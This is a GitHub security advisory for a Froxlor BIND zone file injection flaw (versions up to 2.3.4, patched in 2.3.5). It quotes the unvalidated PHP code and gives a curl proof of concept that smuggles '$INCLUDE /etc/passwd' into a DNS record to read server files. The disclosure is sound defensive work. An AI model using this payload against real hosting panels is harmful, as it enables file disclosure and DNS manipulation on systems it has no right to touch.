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Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API

High severity GitHub Reviewed Published Mar 24, 2026 in froxlor/froxlor • Updated Mar 24, 2026

Package

composer froxlor/froxlor (Composer)

Affected versions

<= 2.3.4

Patched versions

2.3.5

Description

Summary

The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.

Affected Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:

} elseif ($type == 'LOC' && !empty($content)) {
    $content = $content; // no validation
} ...
} elseif ($type == 'RP' && !empty($content)) {
    $content = $content; // no validation
} ...
} elseif ($type == 'SSHFP' && !empty($content)) {
    $content = $content; // no validation
} elseif ($type == 'TLSA' && !empty($content)) {
    $content = $content; // no validation
}

There is even a TODO comment at line 148 acknowledging this gap:

// TODO regex validate content for invalid characters

The content is then written directly into the BIND zone file via DnsEntry::__toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):

return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $_content . PHP_EOL;

And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:

fwrite($zonefile_handler, $zoneContent . $subzones);

PoC

As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \
  https://panel.example.com/api.php

Alternatively via the web UI, intercept the DNS editor form POST and set dns_content to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dns_type to LOC.

After the DNS rebuild cron runs, the resulting zone file at {bindconf_directory}/domains/example.com.zone will contain:

@	18000	IN	LOC	0 0 0 N 0 0 0 E 0
$INCLUDE /etc/passwd

BIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.

Impact

  1. Information Disclosure: The $INCLUDE directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the DomainZones.get API call or the DNS editor in the web UI.

  2. DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting $GENERATE directives could create massive record sets for amplification attacks.

  3. Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.

References

@d00p d00p published to froxlor/froxlor Mar 24, 2026
Published to the GitHub Advisory Database Mar 24, 2026
Reviewed Mar 24, 2026
Last updated Mar 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-30932

GHSA ID

GHSA-x6w6-2xwp-3jh6

Source code

Credits

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